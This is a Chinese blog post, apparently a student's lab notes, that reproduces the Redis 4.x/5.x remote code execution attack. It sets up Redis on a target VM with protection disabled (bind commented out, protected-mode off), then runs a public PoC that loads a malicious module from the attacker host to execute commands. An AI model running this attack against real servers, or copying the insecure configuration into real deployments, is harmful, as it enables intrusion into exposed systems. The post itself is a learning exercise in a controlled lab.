本文首发于我的个人博客,记录了我在实验室学习渗透测试所做的第二个漏洞复现,全部过程记录在此,以便后续查看,同时也希望本文能对您有所帮助。
同时,若文章有什么错误,请到我的个人博客进行核对,或者请在评论区告知,谢谢!
前言
Redis简介
Redis是一个高性能的key-value存储系统,支持多种value类型,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客户端。
实验环境
- 攻击机:Kali 192.168.227.128
- 靶机:Kali 192.168.227.129
- 影响范围:Redis4.x、5.x
靶机安装Redis包
-
下载Redis包:
wget download.redis.io/releases/redis-4.0.11.tar.gz
-
解压安装包
tar xzvf redis-4.0.11.tar.gz
当前目录下会出现一个名为``redis-4.0.11`的文件夹。
-
make安装
进入文件夹,在usr/local/redis目录下安装redis:
make PREFIX=/usr/local/redis install
之后命令行刷屏,等待一会后,出现如下提示,安装结束:
-
检查安装是否有问题
安装命令行提示,输入:
make test
等待一会儿,若出现以下提示,说明测试通过,安装已完成:
-
拷贝源码中的redis.conf到/usr/local/redis中
cp /redis-4.0.11/redis.conf /usr/local/redis
-
修改redis.conf
进入/usr/local/redis目录,打开redis.conf,做出以下修改:
- 找到未注释的
bind 127.0.0.1
,并注释掉 - 修改
protected-mode
属性为no
(可通过IP访问) - 修改
daemonize
属性为yes
(标识redis以后台方式启动)
- 找到未注释的
-
服务端启动服务
进入/usr/local/redis/bin目录下,执行如下命令:
./redis-server /usr/local/redis/redis.conf
结果如下:
-
启动客户端连接并测试
同样在bin目录下,执行如下命令:
./redis-cli
结果如下:
攻击
攻击机中需要下载RedisModules-ExecuteCommand和poc。
-
下载RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
然后进入RedisModules-ExcuteCommand目录,直接make编译:
make
-
下载poc
git clone https://github.com/Ridter/redis-rce.git
-
复制
将RedisMoudules-ExecuteCommand/src下的modules.so文件复制到poc目录(redis-rce)下。
-
安装需要的库
我在运行redis.rce.py时,提示我缺少
six
这个库,需要pip安装。首先安装pip:curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
安装完成后,当前目录下会出现一个get-pip.py文件,运行后就可以使用pip了:
python get-pip.py
然后就可以安装需要的库:
pip install six
-
运行poc
在redis-rce目录下,命令行键入:
Python redis-rce.py -r 目标机ip -L 攻击机ip -f module.so
结果如下: